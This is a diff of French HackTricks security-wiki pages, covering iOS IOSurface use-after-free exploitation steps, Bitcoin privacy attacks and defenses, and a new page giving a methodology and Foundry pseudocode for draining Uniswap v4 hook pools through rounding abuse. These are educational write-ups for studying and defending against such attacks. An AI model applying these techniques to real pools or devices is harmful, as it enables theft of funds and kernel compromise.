2. Utiliser la méthode `set_indexed_timestamp` pour écrire une valeur 64 bits.
|
||||
```c
|
||||
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
|
||||
uint64_t args[3] = {surfaceID, 0, value};
|
||||
@ -222,8 +221,8 @@ iosurface_set_indexed_timestamp_pointer(info.object, orig);
|
||||
1. **Trigger Physical Use-After-Free**: Des pages libérées sont disponibles pour réutilisation.
|
||||
2. **Spray IOSurface Objects**: Allouer de nombreux objets IOSurface avec une "magic value" unique dans kernel memory.
|
||||
3. **Identify Accessible IOSurface**: Localiser un IOSurface sur une page libérée que vous contrôlez.
|
||||
4. **Abuse Use-After-Free**: Modifier des pointeurs dans l'objet IOSurface pour permettre des **kernel read/write** arbitraires via les méthodes IOSurface.
|
||||
4. **Abuse Use-After-Free**: Modifier les pointeurs dans l'objet IOSurface pour permettre des **kernel read/write** arbitraires via les méthodes IOSurface.
|
||||
|
||||
Avec ces primitives, l'exploit fournit des **32-bit reads** contrôlés et des **64-bit writes** vers kernel memory. Les étapes de jailbreak supplémentaires pourraient impliquer des primitives de read/write plus stables, qui peuvent nécessiter de contourner des protections additionnelles (par ex., PPL sur les appareils arm64e plus récents).
|
||||
Avec ces primitives, l'exploit fournit des **32-bit reads** contrôlés et des **64-bit writes** vers le kernel memory. D'autres étapes de jailbreak pourraient impliquer des primitives de read/write plus stables, qui peuvent nécessiter de contourner des protections supplémentaires (par ex., PPL sur les appareils arm64e plus récents).
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,176 +1,178 @@
|
||||
# Blockchain et Crypto-monnaies
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Concepts de base
|
||||
|
||||
- **Smart Contracts** sont définis comme des programmes qui s'exécutent sur une blockchain lorsque certaines conditions sont remplies, automatisant l'exécution des accords sans intermédiaires.
|
||||
- **Decentralized Applications (dApps)** s'appuient sur des smart contracts, présentant une interface conviviale et un back-end transparent et auditable.
|
||||
- **Tokens & Coins** différencient où les coins servent de monnaie numérique, tandis que les tokens représentent une valeur ou une propriété dans des contextes spécifiques.
|
||||
- **Smart Contracts** sont définis comme des programmes qui s'exécutent sur une blockchain lorsque certaines conditions sont remplies, automatisant l'exécution d'accords sans intermédiaires.
|
||||
- **Decentralized Applications (dApps)** reposent sur les smart contracts, avec une interface front-end conviviale et un back-end transparent et auditable.
|
||||
- **Tokens & Coins** différencient les rôles : les coins servent de monnaie numérique, tandis que les tokens représentent de la valeur ou une propriété dans des contextes spécifiques.
|
||||
- **Utility Tokens** donnent accès à des services, et **Security Tokens** signifient la propriété d'actifs.
|
||||
- **DeFi** signifie Finance Décentralisée, offrant des services financiers sans autorités centrales.
|
||||
- **DEX** et **DAOs** font référence aux plateformes d'échange décentralisées et aux organisations autonomes décentralisées, respectivement.
|
||||
- **DeFi** désigne Decentralized Finance, offrant des services financiers sans autorités centrales.
|
||||
- **DEX** et **DAOs** se réfèrent respectivement aux Decentralized Exchange Platforms et aux Decentralized Autonomous Organizations.
|
||||
|
||||
## Mécanismes de consensus
|
||||
|
||||
Les mécanismes de consensus garantissent des validations de transactions sécurisées et convenues sur la blockchain :
|
||||
Les mécanismes de consensus garantissent la validation sécurisée et convenue des transactions sur la blockchain :
|
||||
|
||||
- **Proof of Work (PoW)** repose sur la puissance de calcul pour la vérification des transactions.
|
||||
- **Proof of Stake (PoS)** exige que les validateurs détiennent un certain montant de tokens, réduisant la consommation d'énergie par rapport au PoW.
|
||||
- **Proof of Stake (PoS)** exige que les validateurs détiennent une certain nombre de tokens, réduisant la consommation d'énergie par rapport au PoW.
|
||||
|
||||
## Essentiels de Bitcoin
|
||||
## Notions essentielles sur Bitcoin
|
||||
|
||||
### Transactions
|
||||
|
||||
Les transactions Bitcoin impliquent le transfert de fonds entre adresses. Les transactions sont validées par des signatures numériques, garantissant que seul le propriétaire de la clé privée peut initier des transferts.
|
||||
Les transactions Bitcoin impliquent le transfert de fonds entre adresses. Les transactions sont validées via des signatures numériques, garantissant que seul le détenteur de la clé privée peut initier des transferts.
|
||||
|
||||
#### Composants clés :
|
||||
|
||||
- **Multisignature Transactions** nécessitent plusieurs signatures pour autoriser une transaction.
|
||||
- Les transactions se composent d'**inputs** (source de fonds), **outputs** (destination), **fees** (payées aux mineurs) et **scripts** (règles de transaction).
|
||||
- **Multisignature Transactions** requièrent plusieurs signatures pour autoriser une transaction.
|
||||
- Les transactions se composent d'**inputs** (origine des fonds), d'**outputs** (destination), de **fees** (frais payés aux mineurs) et de **scripts** (règles de la transaction).
|
||||
|
||||
### Lightning Network
|
||||
|
||||
Vise à améliorer la scalabilité de Bitcoin en permettant plusieurs transactions au sein d'un canal, ne diffusant l'état final que sur la blockchain.
|
||||
Vise à améliorer la scalabilité de Bitcoin en permettant plusieurs transactions au sein d'un canal, en ne diffusant sur la blockchain que l'état final.
|
||||
|
||||
## Préoccupations en matière de confidentialité de Bitcoin
|
||||
## Problèmes de confidentialité de Bitcoin
|
||||
|
||||
Les attaques sur la vie privée, telles que **Common Input Ownership** et **UTXO Change Address Detection**, exploitent les modèles de transaction. Des stratégies comme **Mixers** et **CoinJoin** améliorent l'anonymat en obscurcissant les liens de transaction entre les utilisateurs.
|
||||
Les attaques sur la confidentialité, telles que **Common Input Ownership** et la **détection d'adresses de change UTXO**, exploitent les motifs transactionnels. Des stratégies comme les **Mixers** et **CoinJoin** améliorent l'anonymat en obscurcissant les liens de transaction entre utilisateurs.
|
||||
|
||||
## Acquisition de Bitcoins de manière anonyme
|
||||
## Acquérir des Bitcoins de façon anonyme
|
||||
|
||||
Les méthodes incluent les échanges en espèces, le minage et l'utilisation de mixers. **CoinJoin** mélange plusieurs transactions pour compliquer la traçabilité, tandis que **PayJoin** dissimule les CoinJoins en tant que transactions régulières pour une confidentialité accrue.
|
||||
Les méthodes incluent les transactions en espèces, le mining et l'utilisation de mixers. **CoinJoin** mélange plusieurs transactions pour compliquer la traçabilité, tandis que **PayJoin** camoufle les CoinJoin en transactions régulières pour une confidentialité accrue.
|
||||
|
||||
# Attaques sur la vie privée de Bitcoin
|
||||
# Attaques de confidentialité Bitcoin
|
||||
|
||||
# Résumé des attaques sur la vie privée de Bitcoin
|
||||
# Résumé des attaques contre la confidentialité Bitcoin
|
||||
|
||||
Dans le monde de Bitcoin, la confidentialité des transactions et l'anonymat des utilisateurs sont souvent des sujets de préoccupation. Voici un aperçu simplifié de plusieurs méthodes courantes par lesquelles les attaquants peuvent compromettre la vie privée de Bitcoin.
|
||||
Dans l'univers de Bitcoin, la confidentialité des transactions et l'anonymat des utilisateurs sont souvent préoccupants. Voici un aperçu simplifié de plusieurs méthodes courantes par lesquelles des attaquants peuvent compromettre la confidentialité sur Bitcoin.
|
||||
|
||||
## **Common Input Ownership Assumption**
|
||||
## **Hypothèse d'appartenance commune des inputs**
|
||||
|
||||
Il est généralement rare que des inputs de différents utilisateurs soient combinés dans une seule transaction en raison de la complexité impliquée. Ainsi, **deux adresses d'input dans la même transaction sont souvent supposées appartenir au même propriétaire**.
|
||||
Il est généralement rare que des inputs provenant de différents utilisateurs soient combinés dans une seule transaction à cause de la complexité impliquée. Ainsi, **deux adresses en tant qu'inputs dans la même transaction sont souvent supposées appartenir au même propriétaire**.
|
||||
|
||||
## **UTXO Change Address Detection**
|
||||
## **Détection d'adresse de change UTXO**
|
||||
|
||||
Un UTXO, ou **Unspent Transaction Output**, doit être entièrement dépensé dans une transaction. Si seule une partie est envoyée à une autre adresse, le reste va à une nouvelle adresse de changement. Les observateurs peuvent supposer que cette nouvelle adresse appartient à l'expéditeur, compromettant la vie privée.
|
||||
Un UTXO, ou Unspent Transaction Output (sortie de transaction non dépensée), doit être dépensé intégralement dans une transaction. Si seule une partie est envoyée à une autre adresse, le reste est renvoyé à une nouvelle adresse de change. Les observateurs peuvent supposer que cette nouvelle adresse appartient à l'expéditeur, compromettant la confidentialité.
|
||||
|
||||
### Exemple
|
||||
|
||||
Pour atténuer cela, les services de mixage ou l'utilisation de plusieurs adresses peuvent aider à obscurcir la propriété.
|
||||
Pour atténuer cela, les services de mixing ou l'utilisation de plusieurs adresses peuvent aider à obscurcir la propriété.
|
||||
|
||||
## **Exposition sur les réseaux sociaux et forums**
|
||||
## **Exposition via les réseaux sociaux & forums**
|
||||
|
||||
Les utilisateurs partagent parfois leurs adresses Bitcoin en ligne, rendant **facile de lier l'adresse à son propriétaire**.
|
||||
Les utilisateurs partagent parfois leurs adresses Bitcoin en ligne, ce qui rend **facile de lier l'adresse à son propriétaire**.
|
||||
|
||||
## **Analyse des graphes de transactions**
|
||||
## **Analyse du graphe des transactions**
|
||||
|
||||
Les transactions peuvent être visualisées sous forme de graphes, révélant des connexions potentielles entre les utilisateurs en fonction du flux de fonds.
|
||||
Les transactions peuvent être visualisées sous forme de graphes, révélant des connexions potentielles entre utilisateurs basées sur le flux de fonds.
|
||||
|
||||
## **Heuristique d'input inutile (Heuristique de changement optimal)**
|
||||
## **Heuristique de l'input inutile (Optimal Change Heuristic)**
|
||||
|
||||
Cette heuristique est basée sur l'analyse des transactions avec plusieurs inputs et outputs pour deviner quel output est le changement retournant à l'expéditeur.
|
||||
Cette heuristique se base sur l'analyse des transactions avec plusieurs inputs et outputs pour deviner quel output est la monnaie de retour (change) revenant à l'expéditeur.
|
||||
|
||||
### Exemple
|
||||
```bash
|
||||
2 btc --> 4 btc
|
||||
3 btc 1 btc
|
||||
```
|
||||
Si l'ajout de plus d'entrées rend la sortie de changement plus grande que n'importe quelle entrée unique, cela peut confondre l'heuristique.
|
||||
Si l'ajout d'inputs rend la sortie de change plus grande que n'importe quel input individuel, cela peut tromper l'heuristique.
|
||||
|
||||
## **Réutilisation d'Adresse Forcée**
|
||||
## **Forced Address Reuse**
|
||||
|
||||
Les attaquants peuvent envoyer de petites sommes à des adresses précédemment utilisées, espérant que le destinataire les combine avec d'autres entrées dans de futures transactions, reliant ainsi les adresses ensemble.
|
||||
Les attaquants peuvent envoyer de petites sommes à des adresses déjà utilisées, en espérant que le destinataire les combine avec d'autres inputs dans des transactions futures, liant ainsi les adresses entre elles.
|
||||
|
||||
### Comportement Correct du Portefeuille
|
||||
### Correct Wallet Behavior
|
||||
|
||||
Les portefeuilles devraient éviter d'utiliser des pièces reçues sur des adresses déjà utilisées et vides pour prévenir cette fuite de confidentialité.
|
||||
Les wallets doivent éviter d'utiliser les coins reçus sur des adresses déjà utilisées et vides pour prévenir cette privacy leak.
|
||||
|
||||
## **Autres Techniques d'Analyse de Blockchain**
|
||||
## **Other Blockchain Analysis Techniques**
|
||||
|
||||
- **Montants de Paiement Exactes :** Les transactions sans changement sont probablement entre deux adresses appartenant au même utilisateur.
|
||||
- **Nombres Ronds :** Un nombre rond dans une transaction suggère qu'il s'agit d'un paiement, avec la sortie non ronde étant probablement le changement.
|
||||
- **Empreinte de Portefeuille :** Différents portefeuilles ont des modèles de création de transactions uniques, permettant aux analystes d'identifier le logiciel utilisé et potentiellement l'adresse de changement.
|
||||
- **Corrélations de Montant & Timing :** La divulgation des heures ou des montants de transaction peut rendre les transactions traçables.
|
||||
- **Exact Payment Amounts:** Les transactions sans change sont probablement entre deux adresses appartenant au même utilisateur.
|
||||
- **Round Numbers:** Un nombre rond dans une transaction suggère qu'il s'agit d'un paiement, la sortie non ronde étant probablement la sortie de change.
|
||||
- **Wallet Fingerprinting:** Différents wallets ont des schémas uniques de création de transactions, permettant aux analystes d'identifier le logiciel utilisé et potentiellement l'adresse de change.
|
||||
- **Amount & Timing Correlations:** La divulgation des heures ou des montants des transactions peut rendre les transactions traçables.
|
||||
|
||||
## **Analyse de Trafic**
|
||||
## **Traffic Analysis**
|
||||
|
||||
En surveillant le trafic réseau, les attaquants peuvent potentiellement lier des transactions ou des blocs à des adresses IP, compromettant ainsi la confidentialité des utilisateurs. Cela est particulièrement vrai si une entité exploite de nombreux nœuds Bitcoin, améliorant sa capacité à surveiller les transactions.
|
||||
En surveillant le trafic réseau, des attaquants peuvent potentiellement lier des transactions ou des blocs à des adresses IP, compromettant la confidentialité des utilisateurs. Cela est particulièrement vrai si une entité exploite de nombreux nœuds Bitcoin, renforçant sa capacité à surveiller les transactions.
|
||||
|
||||
## Plus
|
||||
## More
|
||||
|
||||
Pour une liste complète des attaques sur la confidentialité et des défenses, visitez [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
|
||||
Pour une liste complète des attaques et des défenses en matière de confidentialité, visitez [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
|
||||
|
||||
# Transactions Bitcoin Anonymes
|
||||
# Anonymous Bitcoin Transactions
|
||||
|
||||
## Façons d'Obtenir des Bitcoins de Manière Anonyme
|
||||
## Ways to Get Bitcoins Anonymously
|
||||
|
||||
- **Transactions en Espèces :** Acquérir des bitcoins par le biais d'espèces.
|
||||
- **Alternatives en Espèces :** Acheter des cartes-cadeaux et les échanger en ligne contre des bitcoins.
|
||||
- **Minage :** La méthode la plus privée pour gagner des bitcoins est le minage, surtout lorsqu'il est effectué seul, car les pools de minage peuvent connaître l'adresse IP du mineur. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
|
||||
- **Vol :** Théoriquement, voler des bitcoins pourrait être une autre méthode pour les acquérir anonymement, bien que cela soit illégal et non recommandé.
|
||||
- **Cash Transactions**: Acquérir du bitcoin en espèces.
|
||||
- **Cash Alternatives**: Acheter des cartes-cadeaux et les échanger en ligne contre du bitcoin.
|
||||
- **Mining**: La méthode la plus privée pour gagner des bitcoins est le mining, surtout en solo car les mining pools peuvent connaître l'adresse IP du mineur. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
|
||||
- **Theft**: Théoriquement, voler des bitcoins pourrait être une autre méthode pour les obtenir anonymement, bien que ce soit illégal et non recommandé.
|
||||
|
||||
## Services de Mixage
|
||||
## Mixing Services
|
||||
|
||||
En utilisant un service de mixage, un utilisateur peut **envoyer des bitcoins** et recevoir **des bitcoins différents en retour**, ce qui rend difficile la traçabilité du propriétaire d'origine. Cependant, cela nécessite de faire confiance au service pour ne pas conserver de journaux et pour réellement retourner les bitcoins. Des options de mixage alternatives incluent les casinos Bitcoin.
|
||||
En utilisant un mixing service, un utilisateur peut **envoyer des bitcoins** et recevoir **d'autres bitcoins en retour**, ce qui rend la traçabilité du propriétaire initial difficile. Cependant, cela nécessite de faire confiance au service pour ne pas conserver de logs et pour renvoyer effectivement les bitcoins. D'autres options de mixing incluent les casinos Bitcoin.
|
||||
|
||||
## CoinJoin
|
||||
|
||||
**CoinJoin** fusionne plusieurs transactions de différents utilisateurs en une seule, compliquant le processus pour quiconque essaie d'associer des entrées avec des sorties. Malgré son efficacité, les transactions avec des tailles d'entrée et de sortie uniques peuvent encore potentiellement être tracées.
|
||||
CoinJoin fusionne plusieurs transactions de différents utilisateurs en une seule, compliquant le travail de quiconque essaie d'associer inputs et outputs. Malgré son efficacité, des transactions ayant des tailles d'input et d'output uniques peuvent encore potentiellement être retracées.
|
||||
|
||||
Des transactions d'exemple qui ont pu utiliser CoinJoin incluent `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` et `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
|
||||
Exemples de transactions qui ont peut‑être utilisé CoinJoin incluent `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` et `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
|
||||
|
||||
Pour plus d'informations, visitez [CoinJoin](https://coinjoin.io/en). Pour un service similaire sur Ethereum, consultez [Tornado Cash](https://tornado.cash), qui anonymise les transactions avec des fonds provenant de mineurs.
|
||||
Pour plus d'informations, visitez [CoinJoin](https://coinjoin.io/en). Pour un service similaire sur Ethereum, consultez [Tornado Cash](https://tornado.cash), qui anonymise les transactions avec des fonds provenant des mineurs.
|
||||
|
||||
## PayJoin
|
||||
|
||||
Une variante de CoinJoin, **PayJoin** (ou P2EP), dissimule la transaction entre deux parties (par exemple, un client et un commerçant) comme une transaction régulière, sans les caractéristiques distinctives de sorties égales de CoinJoin. Cela rend extrêmement difficile la détection et pourrait invalider l'heuristique de propriété d'entrée commune utilisée par les entités de surveillance des transactions.
|
||||
Un variant de CoinJoin, **PayJoin** (ou P2EP), déguisent la transaction entre deux parties (par ex. un client et un commerçant) en une transaction ordinaire, sans les sorties égales distinctives caractéristiques de CoinJoin. Cela la rend extrêmement difficile à détecter et peut invalider la common-input-ownership heuristic utilisée par les entités de surveillance des transactions.
|
||||
```plaintext
|
||||
2 btc --> 3 btc
|
||||
5 btc 4 btc
|
||||
```
|
||||
Les transactions comme celles-ci pourraient être des PayJoin, améliorant la confidentialité tout en restant indiscernables des transactions bitcoin standard.
|
||||
Des transactions comme celles ci‑dessus pourraient être des PayJoin, améliorant la confidentialité tout en restant indiscernables des transactions bitcoin standard.
|
||||
|
||||
**L'utilisation de PayJoin pourrait perturber considérablement les méthodes de surveillance traditionnelles**, en faisant un développement prometteur dans la quête de la confidentialité transactionnelle.
|
||||
**L'utilisation de PayJoin pourrait perturber significativement les méthodes traditionnelles de surveillance**, en faisant un développement prometteur dans la recherche de la confidentialité des transactions.
|
||||
|
||||
# Meilleures pratiques pour la confidentialité dans les cryptomonnaies
|
||||
|
||||
## **Techniques de synchronisation des portefeuilles**
|
||||
## **Wallet Synchronization Techniques**
|
||||
|
||||
Pour maintenir la confidentialité et la sécurité, la synchronisation des portefeuilles avec la blockchain est cruciale. Deux méthodes se distinguent :
|
||||
Pour préserver la confidentialité et la sécurité, synchroniser les wallets avec la blockchain est crucial. Deux méthodes se distinguent :
|
||||
|
||||
- **Nœud complet** : En téléchargeant l'intégralité de la blockchain, un nœud complet garantit une confidentialité maximale. Toutes les transactions jamais effectuées sont stockées localement, rendant impossible pour les adversaires d'identifier quelles transactions ou adresses intéressent l'utilisateur.
|
||||
- **Filtrage de blocs côté client** : Cette méthode consiste à créer des filtres pour chaque bloc de la blockchain, permettant aux portefeuilles d'identifier les transactions pertinentes sans exposer d'intérêts spécifiques aux observateurs du réseau. Les portefeuilles légers téléchargent ces filtres, ne récupérant des blocs complets que lorsqu'une correspondance avec les adresses de l'utilisateur est trouvée.
|
||||
- **Full node** : En téléchargeant l'intégralité de la blockchain, un full node garantit une confidentialité maximale. Toutes les transactions jamais effectuées sont stockées localement, rendant impossible pour des adversaires d'identifier quelles transactions ou adresses intéressent l'utilisateur.
|
||||
- **Client-side block filtering** : Cette méthode consiste à créer des filtres pour chaque bloc de la blockchain, permettant aux wallets d'identifier les transactions pertinentes sans exposer des intérêts spécifiques aux observateurs du réseau. Les wallets légers téléchargent ces filtres, ne récupérant les blocs complets que lorsqu'il y a une correspondance avec les adresses de l'utilisateur.
|
||||
|
||||
## **Utilisation de Tor pour l'anonymat**
|
||||
## **Utiliser Tor pour l'anonymat**
|
||||
|
||||
Étant donné que Bitcoin fonctionne sur un réseau pair-à-pair, il est recommandé d'utiliser Tor pour masquer votre adresse IP, améliorant la confidentialité lors de l'interaction avec le réseau.
|
||||
Étant donné que Bitcoin fonctionne sur un réseau peer-to-peer, il est recommandé d'utiliser Tor pour masquer votre adresse IP, renforçant la confidentialité lors des interactions avec le réseau.
|
||||
|
||||
## **Prévention de la réutilisation des adresses**
|
||||
## **Prévenir la réutilisation d'adresses**
|
||||
|
||||
Pour protéger la confidentialité, il est vital d'utiliser une nouvelle adresse pour chaque transaction. La réutilisation des adresses peut compromettre la confidentialité en liant les transactions à la même entité. Les portefeuilles modernes découragent la réutilisation des adresses par leur conception.
|
||||
Pour protéger la confidentialité, il est essentiel d'utiliser une nouvelle adresse pour chaque transaction. La réutilisation d'adresses peut compromettre la confidentialité en reliant des transactions à la même entité. Les wallets modernes découragent la réutilisation d'adresses par leur conception.
|
||||
|
||||
## **Stratégies pour la confidentialité des transactions**
|
||||
|
||||
- **Transactions multiples** : Diviser un paiement en plusieurs transactions peut obscurcir le montant de la transaction, contrecarrant les attaques sur la confidentialité.
|
||||
- **Évitement du changement** : Opter pour des transactions qui ne nécessitent pas de sorties de changement améliore la confidentialité en perturbant les méthodes de détection du changement.
|
||||
- **Multiples sorties de changement** : Si l'évitement du changement n'est pas faisable, générer plusieurs sorties de changement peut tout de même améliorer la confidentialité.
|
||||
- **Multiple transactions** : Fractionner un paiement en plusieurs transactions peut obscurcir le montant, contrecarrant les attaques visant la confidentialité.
|
||||
- **Change avoidance** : Choisir des transactions qui n'exigent pas d'outputs de change améliore la confidentialité en perturbant les méthodes de détection du change.
|
||||
- **Multiple change outputs** : Si éviter le change n'est pas faisable, générer plusieurs outputs de change peut quand même améliorer la confidentialité.
|
||||
|
||||
# **Monero : Un phare d'anonymat**
|
||||
# **Monero : un phare de l'anonymat**
|
||||
|
||||
Monero répond au besoin d'anonymat absolu dans les transactions numériques, établissant une norme élevée pour la confidentialité.
|
||||
Monero répond au besoin d'anonymat absolu dans les transactions numériques, établissant une norme élevée en matière de confidentialité.
|
||||
|
||||
# **Ethereum : Gaz et transactions**
|
||||
# **Ethereum : Gas et transactions**
|
||||
|
||||
## **Comprendre le gaz**
|
||||
## **Comprendre le Gas**
|
||||
|
||||
Le gaz mesure l'effort computationnel nécessaire pour exécuter des opérations sur Ethereum, tarifé en **gwei**. Par exemple, une transaction coûtant 2 310 000 gwei (ou 0,00231 ETH) implique une limite de gaz et un frais de base, avec un pourboire pour inciter les mineurs. Les utilisateurs peuvent définir un frais maximum pour s'assurer de ne pas trop payer, l'excédent étant remboursé.
|
||||
Le Gas mesure l'effort computationnel nécessaire pour exécuter des opérations sur Ethereum, tarifé en **gwei**. Par exemple, une transaction coûtant 2 310 000 gwei (ou 0,00231 ETH) implique une gas limit et une base fee, avec un tip pour inciter les mineurs. Les utilisateurs peuvent définir un max fee pour s'assurer de ne pas trop payer, l'excédent étant remboursé.
|
||||
|
||||
## **Exécution des transactions**
|
||||
|
||||
Les transactions sur Ethereum impliquent un expéditeur et un destinataire, qui peuvent être soit des adresses d'utilisateur, soit des adresses de contrat intelligent. Elles nécessitent un frais et doivent être minées. Les informations essentielles dans une transaction incluent le destinataire, la signature de l'expéditeur, la valeur, des données optionnelles, la limite de gaz et les frais. Notamment, l'adresse de l'expéditeur est déduite de la signature, éliminant le besoin de celle-ci dans les données de la transaction.
|
||||
Les transactions sur Ethereum impliquent un émetteur et un destinataire, qui peuvent être des adresses utilisateur ou des contrats intelligents. Elles requièrent des frais et doivent être minées. Les informations essentielles d'une transaction incluent le destinataire, la signature de l'émetteur, la valeur, des données optionnelles, la gas limit et les frais. Notamment, l'adresse de l'émetteur est déduite de la signature, ce qui évite d'avoir à l'inclure dans les données de la transaction.
|
||||
|
||||
Ces pratiques et mécanismes sont fondamentaux pour quiconque cherchant à s'engager avec les cryptomonnaies tout en priorisant la confidentialité et la sécurité.
|
||||
Ces pratiques et mécanismes sont fondamentaux pour quiconque souhaite interagir avec les cryptomonnaies tout en donnant la priorité à la confidentialité et à la sécurité.
|
||||
|
||||
## Références
|
||||
## References
|
||||
|
||||
- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
|
||||
- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)
|
||||
@ -179,4 +181,12 @@ Ces pratiques et mécanismes sont fondamentaux pour quiconque cherchant à s'eng
|
||||
- [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/)
|
||||
- [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced_address_reuse)
|
||||
|
||||
## DeFi/AMM Exploitation
|
||||
|
||||
Si vous recherchez l'exploitation pratique des DEXes et AMMs (Uniswap v4 hooks, rounding/precision abuse, flash‑loan amplified threshold‑crossing swaps), consultez :
|
||||
|
||||
{{#ref}}
|
||||
defi-amm-hook-precision.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -0,0 +1,160 @@
|
||||
# Exploitation DeFi/AMM : Abus de précision/arrondi des hooks Uniswap v4
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Cette page documente une classe de techniques d'exploitation DeFi/AMM visant les DEXes de type Uniswap v4 qui étendent les mathématiques de base avec des hooks personnalisés. Un incident récent sur Bunni V2 a exploité une faille d'arrondi/de précision dans une Liquidity Distribution Function (LDF) exécutée à chaque swap, permettant à l'attaquant d'accumuler des crédits positifs et de drainer la liquidité.
|
||||
|
||||
Idée clé : si un hook implémente une comptabilité supplémentaire dépendant de mathématiques en virgule fixe, d'arrondis de tick et de logique de seuils, un attaquant peut construire des swaps exact‑input qui franchissent des seuils spécifiques de sorte que les divergences d'arrondi s'accumulent en sa faveur. Répéter le schéma puis retirer le solde gonflé réalise le profit, souvent financé par un flash loan.
|
||||
|
||||
## Contexte : hooks Uniswap v4 et flux de swap
|
||||
|
||||
- Les hooks sont des contrats appelés par le PoolManager à des points précis du cycle de vie (par ex., beforeSwap/afterSwap, beforeAddLiquidity/afterAddLiquidity, beforeRemoveLiquidity/afterRemoveLiquidity).
|
||||
- Les pools sont initialisés avec un PoolKey incluant une adresse hooks. Si non‑zéro, le PoolManager effectue des callbacks pour chaque opération pertinente.
|
||||
- Core math utilise des formats en virgule fixe tels que Q64.96 pour sqrtPriceX96 et l'arithmétique de tick avec 1.0001^tick. Toute mathématique personnalisée superposée doit soigneusement matcher les sémantiques d'arrondi pour éviter une dérive d'invariant.
|
||||
- Les swaps peuvent être exactInput ou exactOutput. En v3/v4, le prix se déplace le long des ticks ; franchir une limite de tick peut activer/désactiver la liquidity de range. Les hooks peuvent implémenter une logique additionnelle sur les franchissements de seuil/tick.
|
||||
|
||||
## Archétype de vulnérabilité : dérive de précision/arrondi au franchissement de seuil
|
||||
|
||||
Un schéma typique vulnérable dans des hooks personnalisés :
|
||||
|
||||
1. Le hook calcule des deltas de liquidity ou de balance par swap en utilisant des divisions entières, mulDiv, ou des conversions en virgule fixe (par ex., token ↔ liquidity utilisant sqrtPrice et des tick ranges).
|
||||
2. Une logique de seuil (par ex., rebalancing, redistribution par paliers, ou activation par range) est déclenchée lorsque la taille du swap ou le mouvement de prix franchit une frontière interne.
|
||||
3. L'arrondi est appliqué de manière incohérente (par ex., troncature vers zéro, floor versus ceil) entre le calcul avant et le chemin de settlement. De petites divergences ne se compensent pas et créditent plutôt l'appelant.
|
||||
4. Des swaps exact‑input, précisément calibrés pour chevaucher ces frontières, récoltent répétitivement le reste positif d'arrondi. L'attaquant retire ensuite le crédit accumulé.
|
||||
|
||||
Conditions préalables à l'attaque
|
||||
- Un pool utilisant un hook v4 personnalisé qui effectue des calculs supplémentaires à chaque swap (par ex., une LDF/rebalancer).
|
||||
- Au moins un chemin d'exécution où l'arrondi avantage l'initiateur du swap lors des franchissements de seuil.
|
||||
- Capacité à répéter de nombreux swaps de manière atomique (les flash loans sont idéaux pour fournir la trésorerie temporaire et amortir le gas).
|
||||
|
||||
## Méthodologie pratique d'attaque
|
||||
|
||||
1) Identifier les pools candidats avec hooks
|
||||
- Énumérer les pools v4 et vérifier PoolKey.hooks != address(0).
|
||||
- Inspecter le bytecode/ABI du hook pour les callbacks : beforeSwap/afterSwap et toute méthode de rebalancing personnalisée.
|
||||
- Chercher des mathématiques qui : divisent par liquidity, convertissent entre token et liquidity, ou agrègent BalanceDelta avec arrondi.
|
||||
|
||||
2) Modéliser les mathématiques et seuils du hook
|
||||
- Recréer la formule de liquidity/redistribution du hook : les entrées incluent typiquement sqrtPriceX96, tickLower/Upper, currentTick, fee tier, et net liquidity.
|
||||
- Cartographier les fonctions de seuil/paliers : ticks, frontières de buckets, ou breakpoints LDF. Déterminer de quel côté de chaque frontière le delta est arrondi.
|
||||
- Identifier où les conversions castent entre uint256/int256, utilisent SafeCast, ou reposent sur mulDiv avec floor implicite.
|
||||
|
||||
3) Calibrer des swaps exact‑input pour franchir les frontières
|
||||
- Utiliser Foundry/Hardhat simulations pour calculer le Δin minimal nécessaire pour déplacer le prix juste au‑delà d'une frontière et déclencher la branche du hook.
|
||||
- Vérifier qu'après le settlement du swap, l'appelant est crédité de plus que le coût, laissant un BalanceDelta ou un crédit positif dans la comptabilité du hook.
|
||||
- Répéter les swaps pour accumuler le crédit ; puis appeler le chemin de retrait/settlement du hook.
|
||||
|
||||
Example Foundry‑style test harness (pseudocode)
|
||||
```solidity
|
||||
function test_precision_rounding_abuse() public {
|
||||
// 1) Arrange: set up pool with hook
|
||||
PoolKey memory key = PoolKey({
|
||||
currency0: USDC,
|
||||
currency1: USDT,
|
||||
fee: 500, // 0.05%
|
||||
tickSpacing: 10,
|
||||
hooks: address(bunniHook)
|
||||
});
|
||||
pm.initialize(key, initialSqrtPriceX96);
|
||||
|
||||
// 2) Determine a boundary‑crossing exactInput
|
||||
uint256 exactIn = calibrateToCrossThreshold(key, targetTickBoundary);
|
||||
|
||||
// 3) Loop swaps to accrue rounding credit
|
||||
for (uint i; i < N; ++i) {
|
||||
pm.swap(
|
||||
key,
|
||||
IPoolManager.SwapParams({
|
||||
zeroForOne: true,
|
||||
amountSpecified: int256(exactIn), // exactInput
|
||||
sqrtPriceLimitX96: 0 // allow tick crossing
|
||||
}),
|
||||
""
|
||||
);
|
||||
}
|
||||
|
||||
// 4) Realize inflated credit via hook‑exposed withdrawal
|
||||
bunniHook.withdrawCredits(msg.sender);
|
||||
}
|
||||
```
|
||||
Calibrer l'exactInput
|
||||
- Calculer ΔsqrtP pour un pas de tick : sqrtP_next = sqrtP_current × 1.0001^(Δtick).
|
